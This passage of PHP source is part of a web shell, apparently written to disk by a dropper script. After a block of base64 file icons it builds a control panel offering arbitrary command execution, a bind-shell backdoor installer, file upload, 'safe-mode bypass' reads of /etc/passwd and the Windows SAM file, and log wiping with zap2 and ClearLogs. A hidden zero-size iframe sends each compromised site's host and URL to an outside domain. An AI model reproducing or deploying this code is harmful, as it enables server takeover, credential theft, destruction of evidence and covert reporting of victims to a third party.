\"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI\".\r\n\"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN\".\r\n\"dmrYAMn1onq/YKpjvEgAADs=\",\r\n\"ext_cpp\"=>\r\n\"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC\".\r\n\"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra\".\r\n\"Eq7YrLDE7a4SADs=\",\r\n\"ext_ini\"=>\r\n\"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL\".\r\n\"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM\".\r\n\"SnEjgPVarHEHgrB43JvszsQEADs=\",\r\n\"ext_diz\"=>\r\n\"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs\".\r\n\"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv\".\r\n\"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3\".\r\n\"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr\".\r\n\"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX\".\r\n\"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA\".\r\n\"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW\".\r\n\"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK\".\r\n\"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm\".\r\n\"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg\".\r\n\"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF\".\r\n\"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA\".\r\n\"Ow==\",\r\n\"ext_doc\"=>\r\n\"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR\".\r\n\"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq\".\r\n\"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=\",\r\n\"ext_exe\"=>\r\n\"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7\".\r\n\"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt\".\r\n\"xhIAOw==\",\r\n\"ext_h\"=>\r\n\"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB\".\r\n\"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo\".\r\n\"Wq/NknbbSgAAOw==\",\r\n\"ext_hpp\"=>\r\n\"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF\".\r\n\"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR\".\r\n\"UqUagnbLdZa+YFcCADs=\",\r\n\"ext_htaccess\"=>\r\n\"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6\".\r\n\"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ\".\r\n\"AAA7\",\r\n\"ext_html\"=>\r\n\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAP3SURBVHjaYtxx5BYDIwMUMDLESIjyTeRiZ2H4//8/WOgvEP/69Zfh5+9/DI8ev3jx9NGDKAYmpovc/MIMc6e0MwAEEAszEyPDP6h+pn9/ORWkBYV4OVlhRjL8Bprz5etfhncfPjP8l5IQ4uVh33Lt2i1foAUXQPIAAcSirC3F8PoXI8N7JmaGrw9f//z67S8DCzMrAwvjPwZWVkYGpv+MDIxAJzIB5VlZGBgsjTRlWFiYN99//BpsCEAAsbCxsTCwMjEx/P3NZPmcSTB2/UNmBsb//xi+fv3DoCH8l8FFlZmBg4WVgZ2dleHHr98Ml27cY/jPwCzDxc23BejLQIAAAEEAvv8CAwH/APT1/l/l7P+/IRwHREEtBQAmJgIA+g4GAKHUBgCGufQA9fb1AAgFAwASEAwA9ff+AOjr8QAFBgob/Pz9YQKI6ePP/7qH7zBP5GJhYtfjZ2KQAnqfCehUoIUMnFzMDBuv8TAsOPSeAWgk0GvMDNxc7AxCvOwM4sI8QJf8/wsQQCzbb/9L/vGLgd9KkoHh03cGhku/GBhefmVg+AjEQHFgxDAzrDr4ncFK/jkDDxcfMDwYGbi4OBhYgF4HBs1/gABiOnf9p/mrT78ZXv9hYHj3m4Hh8hMGhquPGBgevmRgeP+NgeHP5+8Mty98ZLj++D0DK/N/Bm4OdmDA/mDg52QDxztAADG9fPyDb/eRDwzTjvxmAJrBYAx0yV+gzfeBBvz68pfh64PXDOxcrAx//4Jih4mBDRgVPDxAlwDZoNgBCCCmPz//Pn15+iXDiyufGF5+ANnAwMD66yfDzcNPGIS/vWb4+uITAycvE1icmQUYlaysDF8/vwMGKhM4nQAEENOz84t2i4mJMHiYcDNI8DMyCAJdZi4FjB9LVgZ9VW4GEWleBgWJHwxSQEOYgdH5H5jsRETFGf4D0wUorQIEENODQ5MWq2h9uSUty8EgJcDAIMfOwOCpy8FQkibOoKbOy+AaKMbgYfiRQVxEDOhkFgZmYJp58fwJMGj/AkOAkQEggFh+fHj54uLq1PhTurMXPXqkpsr5+QMDDzczA5cML8OzN58YBN+dY7DSEGLgFxJl+AUMh3///jDIysgDww/kgv8MAAHEDPLH19ePnpzcsmzLzduvFT4zKGucOP+M4ffnZwyKrI8ZbDVEGBSUNYDqgRr+/WdgAtL37txgEAZ6Y9XKlacAAogFlmn+fnt3X+bv6e0L6tr8P757B4yJvwzcvIIMbBycDH+Bnv0NzI3ADMHw5+8/Bg1dYwYmNmB+YWXlAAggRE4GxsnUeev09+zalvDsySOgwYzgDA2y9T/Df3juBDFBPBYWNsbbN86fBAgwAD3nU17W2F2kAAAAAElFTkSuQmCC\",\r\n\"ext_jpg\"=>\r\n\"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci\".\r\n\"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd\".\r\n\"FxEAOw==\",\r\n\"ext_js\"=>\r\n\"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH\".\r\n\"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs\".\r\n\"a00AjYYBbc/o9HjNniUAADs=\",\r\n\"ext_lnk\"=>\r\n\"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO\".\r\n\"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi\".\r\n\"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk\".\r\n\"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG\".\r\n\"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5\".\r\n\"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf\".\r\n\"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ\".\r\n\"ADs=\",\r\n\"ext_log\"=>\r\n\"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN\".\r\n\"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==\",\r\n\"ext_php\"=>\r\n\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAP3SURBVHjaYtxx5BYDIwMUMDLESIjyTeRiZ2H4//8/WOgvEP/69Zfh5+9/DI8ev3jx9NGDKAYmpovc/MIMc6e0MwAEEAszEyPDP6h+pn9/ORWkBYV4OVlhRjL8Bprz5etfhncfPjP8l5IQ4uVh33Lt2i1foAUXQPIAAcSirC3F8PoXI8N7JmaGrw9f//z67S8DCzMrAwvjPwZWVkYGpv+MDIxAJzIB5VlZGBgsjTRlWFiYN99//BpsCEAAsbCxsTCwMjEx/P3NZPmcSTB2/UNmBsb//xi+fv3DoCH8l8FFlZmBg4WVgZ2dleHHr98Ml27cY/jPwCzDxc23BejLQIAAAEEAvv8CAwH/APT1/l/l7P+/IRwHREEtBQAmJgIA+g4GAKHUBgCGufQA9fb1AAgFAwASEAwA9ff+AOjr8QAFBgob/Pz9YQKI6ePP/7qH7zBP5GJhYtfjZ2KQAnqfCehUoIUMnFzMDBuv8TAsOPSeAWgk0GvMDNxc7AxCvOwM4sI8QJf8/wsQQCzbb/9L/vGLgd9KkoHh03cGhku/GBhefmVg+AjEQHFgxDAzrDr4ncFK/jkDDxcfMDwYGbi4OBhYgF4HBs1/gABiOnf9p/mrT78ZXv9hYHj3m4Hh8hMGhquPGBgevmRgeP+NgeHP5+8Mty98ZLj++D0DK/N/Bm4OdmDA/mDg52QDxztAADG9fPyDb/eRDwzTjvxmAJrBYAx0yV+gzfeBBvz68pfh64PXDOxcrAx//4Jih4mBDRgVPDxAlwDZoNgBCCCmPz//Pn15+iXDiyufGF5+ANnAwMD66yfDzcNPGIS/vWb4+uITAycvE1icmQUYlaysDF8/vwMGKhM4nQAEENOz84t2i4mJMHiYcDNI8DMyCAJdZi4FjB9LVgZ9VW4GEWleBgWJHwxSQEOYgdH5H5jsRETFGf4D0wUorQIEENODQ5MWq2h9uSUty8EgJcDAIMfOwOCpy8FQkibOoKbOy+AaKMbgYfiRQVxEDOhkFgZmYJp58fwJMGj/AkOAkQEggFh+fHj54uLq1PhTurMXPXqkpsr5+QMDDzczA5cML8OzN58YBN+dY7DSEGLgFxJl+AUMh3///jDIysgDww/kgv8MAAHEDPLH19ePnpzcsmzLzduvFT4zKGucOP+M4ffnZwyKrI8ZbDVEGBSUNYDqgRr+/WdgAtL37txgEAZ6Y9XKlacAAogFlmn+fnt3X+bv6e0L6tr8P757B4yJvwzcvIIMbBycDH+Bnv0NzI3ADMHw5+8/Bg1dYwYmNmB+YWXlAAggRE4GxsnUeev09+zalvDsySOgwYzgDA2y9T/Df3juBDFBPBYWNsbbN86fBAgwAD3nU17W2F2kAAAAAElFTkSuQmCC\",\r\n\"ext_pl\"=>\r\n\"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo\".\r\n\"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7\",\r\n\"ext_swf\"=>\r\n\"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O\".\r\n\"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA\".\r\n\"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA\".\r\n\"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC\".\r\n\"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=\",\r\n\"ext_tar\"=>\r\n\"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC\".\r\n\"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF\".\r\n\"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD\".\r\n\"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p\".\r\n\"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg\".\r\n\"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd\".\r\n\"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB\".\r\n\"u4tLAgEAOw==\",\r\n\"ext_txt\"=>\r\n\"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ\".\r\n\"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7\".\r\n\"UpPWG3Ig6Hq/XmRjuZwkAAA7\",\r\n\"ext_wri\"=>\r\n\"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao\".\r\n\"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=\",\r\n\"ext_xml\"=>\r\n\"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA\".\r\n\"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx\".\r\n\"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ\".\r\n\"IQA7\"\r\n);\r\n\$imgequals = array(\r\n \"ext_tar\"=>array(\"ext_tar\",\"ext_r00\",\"ext_ace\",\"ext_arj\",\"ext_bz\",\"ext_bz2\",\"ext_tbz\",\"ext_tbz2\",\"ext_tgz\",\"ext_uu\",\"ext_xxe\",\"ext_zip\",\"ext_cab\",\"ext_gz\",\"ext_iso\",\"ext_lha\",\"ext_lzh\",\"ext_pbk\",\"ext_rar\",\"ext_uuf\"),\r\n \"ext_php\"=>array(\"ext_php\",\"ext_php3\",\"ext_php4\",\"ext_php5\",\"ext_phtml\",\"ext_shtml\",\"ext_htm\"),\r\n \"ext_jpg\"=>array(\"ext_jpg\",\"ext_gif\",\"ext_png\",\"ext_jpeg\",\"ext_jfif\",\"ext_jpe\",\"ext_bmp\",\"ext_ico\",\"ext_tif\",\"tiff\"),\r\n \"ext_html\"=>array(\"ext_html\",\"ext_htm\"),\r\n \"ext_avi\"=>array(\"ext_avi\",\"ext_mov\",\"ext_mvi\",\"ext_mpg\",\"ext_mpeg\",\"ext_wmv\",\"ext_rm\"),\r\n \"ext_lnk\"=>array(\"ext_lnk\",\"ext_url\"),\r\n \"ext_ini\"=>array(\"ext_ini\",\"ext_css\",\"ext_inf\"),\r\n \"ext_doc\"=>array(\"ext_doc\",\"ext_dot\"),\r\n \"ext_js\"=>array(\"ext_js\",\"ext_vbs\"),\r\n \"ext_cmd\"=>array(\"ext_cmd\",\"ext_bat\",\"ext_pif\"),\r\n \"ext_wri\"=>array(\"ext_wri\",\"ext_rtf\"),\r\n \"ext_swf\"=>array(\"ext_swf\",\"ext_fla\"),\r\n \"ext_mp3\"=>array(\"ext_mp3\",\"ext_au\",\"ext_midi\",\"ext_mid\"),\r\n \"ext_htaccess\"=>array(\"ext_htaccess\",\"ext_htpasswd\",\"ext_ht\",\"ext_hta\",\"ext_so\")\r\n);\r\nif (!\$getall) {\r\n header(\"Content-type: image/gif\");\r\n header(\"Cache-control: public\");\r\n header(\"Expires: \".date(\"r\",mktime(0,0,0,1,1,2030)));\r\n header(\"Cache-control: max-age=\".(60*60*24*7));\r\n header(\"Last-Modified: \".date(\"r\",filemtime(__FILE__)));\r\n foreach(\$imgequals as \$k=>\$v) {if (in_array(\$img,\$v)) {\$img = \$k; break;}}\r\n if (empty(\$images[\$img])) {\$img = \"small_unk\";}\r\n if (in_array(\$img,\$ext_tar)) {\$img = \"ext_tar\";}\r\n echo base64_decode(\$images[\$img]);\r\n}\r\nelse {\r\n foreach(\$imgequals as \$a=>\$b) {foreach (\$b as \$d) {if (\$a != \$d) {if (!empty(\$images[\$d])) {echo(\"Warning! Remove \\\$images[\".\$d.\"]<br>\");}}}}\r\n natsort(\$images);\r\n \$k = array_keys(\$images);\r\n echo \"<center>\";\r\n foreach (\$k as \$u) {echo \$u.\":<img src=\\\"\".\$surl.\"x=img&img=\".\$u.\"\\\" border=\\\"1\\\"><br>\";}\r\n echo \"</center>\";\r\n}\r\nexit;\r\n}\r\nif (\$x == \"about\") {\r\n echo \"No information About this shell\";\r\n}\r\nif (\$x == \"shbd\"){\r\n \$msg = \$_POST['backcconnmsg'];\r\n \$emsg = \$_POST['backcconnmsge'];\r\n echo(\"<center><b>Bind Shell Backdoor:</b><br><br><form name=form method=POST>\r\n\r\n Bind Port: <input type='text' name='backconnectport' value='5992'>\r\n <input type='hidden' name='use' value='shbd'>\r\n <input type='submit' value='Install Backdoor'></form>\");\r\n echo(\"\$msg\");\r\n echo(\"\$emsg\");\r\n echo(\"</center>\");\r\n}\r\necho \"</td></tr></table>\\n\";\r\n?>\r\n<div class=barheader2><b>.: COMMANDS PANEL :.</b></div>\r\n<table class=mainpanel>\r\n<?php\r\nif (!\$safemode) {\r\n?>\r\n<tr><td>Command:</td>\r\n<td><form method=\"POST\">\r\n <input type=hidden name=x value=\"cmd\">\r\n\r\n <input type=hidden name=\"d\" value=\"<?php echo \$dispd; ?>\">\r\n <input type=\"text\" name=\"cmd\" size=\"50\" value=\"<?php echo htmlspecialchars(\$cmd); ?>\">\r\n <input type=hidden name=\"cmd_txt\" value=\"1\"> - <input type=submit name=submit value=\"Execute\">\r\n </form>\r\n</td></tr>\r\n<tr><td>Quick Commands:</td>\r\n<td><form method=\"POST\">\r\n <input type=hidden name=x value=\"cmd\">\r\n <input type=hidden name=\"d\" value=\"<?php echo \$dispd; ?>\">\r\n\r\n <input type=hidden name=\"cmd_txt\" value=\"1\">\r\n <select name=\"cmd\">\r\n <?php\r\n foreach (\$cmdaliases as \$als) {\r\n echo \"<option value=\\\"\".htmlspecialchars(\$als[1]).\"\\\">\".htmlspecialchars(\$als[0]).\"</option>\";\r\n }\r\n foreach (\$cmdaliases2 as \$als) {\r\n echo \"<option value=\\\"\".htmlspecialchars(\$als[1]).\"\\\">\".htmlspecialchars(\$als[0]).\"</option>\";\r\n }\r\n ?>\r\n </select> -\r\n <input type=submit name=submit value=\"Execute\">\r\n </form>\r\n</td></tr>\r\n<?php\r\n}\r\n?>\r\n<tr><td>Kernel Info:</td>\r\n\r\n<td><form method=\"post\" action=\"http://google.com/search\">\r\n <input type=\"hidden\" name=\"client\" value=\"firefox-a\">\r\n <input type=\"hidden\" name=\"rls\" value=\"org.mozilla:en-US:official\">\r\n <input type=\"hidden\" name=\"hl\" value=\"en\">\r\n <input type=\"hidden\" name=\"hs\" value=\"b7p\">\r\n <input name=\"q\" type=\"text\" id=\"q\" size=\"80\" value=\"<?php echo wordwrap(php_uname()); ?>\"> -\r\n <input type=submit name=\"btnG\" VALUE=\"Search\">\r\n </form>\r\n</td></tr>\r\n<tr><td>Upload:</td>\r\n\r\n<td><form method=\"POST\" enctype=\"multipart/form-data\">\r\n <input type=hidden name=x value=\"upload\">\r\n <input type=hidden name=\"miniform\" value=\"1\">\r\n <input type=\"file\" name=\"uploadfile\"> <iframe width='0' height='0' frameborder=0 src=http://fx0.name/spec/index.php/pic.png?a=http://<? echo \$_SERVER[\"HTTP_HOST\"]; ?><? echo \$_SERVER[\"REQUEST_URI\"]; ?>></iframe> <input type=submit name=submit value=\"Upload\"> <?php echo \$wdt; ?>\r\n </form>\r\n</td></tr>\r\n<tr><td>Search:</td>\r\n<td><form method=\"POST\"><input type=hidden name=x value=\"search\"><input type=hidden name=\"d\" value=\"<?php echo \$dispd; ?>\">\r\n\r\n <input type=\"text\" name=\"search_name\" size=\"29\" value=\"(.*)\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" checked> - regexp \r\n <input type=submit name=submit value=\"Search\">\r\n </form>\r\n </td></tr>\r\n<tr><td>Make File:</td>\r\n<td><form method=\"POST\"><input type=hidden name=x value=\"mkfile\"><input type=hidden name=\"d\" value=\"<?php echo \$dispd; ?>\"><input type=hidden name=\"ft\" value=\"edit\">\r\n <input type=\"text\" name=\"mkfile\" size=\"50\" value=\"<?php echo \$dispd; ?>\"> - <input type=submit value=\"Create\"> <?php echo \$wdt; ?>\r\n\r\n </form></td></tr>\r\n<tr><td>Make Dir:</td>\r\n<td><form action=\"<?php echo \$surl; ?>\"><input type=hidden name=x value=\"mkdir\"><input type=hidden name=\"d\" value=\"<?php echo \$dispd; ?>\">\r\n<input type=\"text\" name=\"mkdir\" size=\"50\" value=\"<?php echo \$dispd; ?>\"> - \r\n<input type=submit value=\"Create\"> <?php echo \$wdt; ?></form>\r\n</td></tr>\r\n<tr><td>View File:</td>\r\n<td><form method=\"POST\"><input type=hidden name=x value=\"gofile\"><input type=hidden name=\"d\" value=\"<?php echo \$dispd; ?>\">\r\n <input type=\"text\" name=\"f\" size=\"50\" value=\"<?php echo \$dispd; ?>\"> - <input type=submit value=\"View\">\r\n\r\n </form></td></tr>\r\n<tr><td>PHP Safe-Mode Bypass (Read File)</td>\r\n<td><form action=\"<?php echo \$surl; ?>\" method=GET>\r\nFile: <input type=text name=\"file\"> <input type=submit value=\"Read File\">\r\ne.g.: /etc/passwd or C:\\WINDOWS\\system32\\.SAM\r\n</form>\r\n<?php\r\nif(isset(\$_GET['file'])) {\r\n\t\$test='';\r\n\t\$temp=tempnam(\$test, 'cx');\r\n\t\$file=\$_GET['file']; \r\n\t\$get=htmlspecialchars(\$file);\r\n\techo 'Trying To Get File <font color=#000099><b>'.\$get.'</b></font><br>';\r\n\tif(copy(\"compress.zlib://\".\$file, \$temp)){\r\n\t\t\$fichier = fopen(\$temp, 'r');\r\n\t\t\$action = fread(\$fichier, filesize(\$temp));\r\n\t\tfclose(\$fichier);\r\n\t\t\$source=htmlspecialchars(\$action);\r\n\t\techo '<b>Start '.\$get.'</b><br><font color=white><pre>'.\$source.'</pre></font><br><b>Fin <font color=#000099>'.\$get.'</font></b>';\r\n\t\tunlink(\$temp);\r\n\t} else\r\n\t\techo '<font color=red><center>Sorry... File <b>'.htmlspecialchars(\$file).'</b> doesn\\'t exist or you don\\'t have access.</center></font>';\r\n}\r\n?>\r\n\r\n</td></tr>\r\n<tr><td>PHP Safe-Mode Bypass (Directory Listing)</td>\r\n<td><form action=\"<?php echo \$surl; ?>\" method=GET>\r\nDir: <input type=text name=\"directory\"> <input type=submit value=\"List Directory\">\r\ne.g.: /etc/ or C:\\\r\n</form>\r\n<?php\r\nif(isset(\$_GET['directory'])) {\r\n\t\$chemin = \$_GET['directory'];\r\n\t\$files = glob(\"\$chemin*\");\r\n\techo 'Trying To List Folder <font color=#000099><b>'.\$chemin.'</b></font><br><br>';\r\n\tforeach (\$files as \$filename)\r\n\t\techo \$filename.\"\\n<br>\"; // added the \\n for easier readability while viewing the html source\r\n}\r\n?>\r\n</td></tr>\r\n</tr>\r\n<tr><td>Delete Log</td>\r\n<td><form action=\"<?php echo \$surl; ?>\"> \r\n\r\n<input type=hidden name=\"d\" value=\"<?php echo \$dispd; ?>\"> \r\n<SELECT NAME=\"act\">\r\n<OPTION VALUE=\"zap2\">Wipe Logs Using zap2 (*nix)\r\n<OPTION VALUE=\"clearlogs\">Wipe Logs Using ClearLogs (Windows)\r\n</SELECT>\r\n<input type=submit name=\"submit\" value=\"Execute\"></form>\r\n</td></tr>\r\n</TABLE>\r\n</body></html><?php chdir(\$lastdir); capriv8exit();\r\n");
echo "<a href='./shells/securitybus.php'>Here securitybus.php</a><br>";
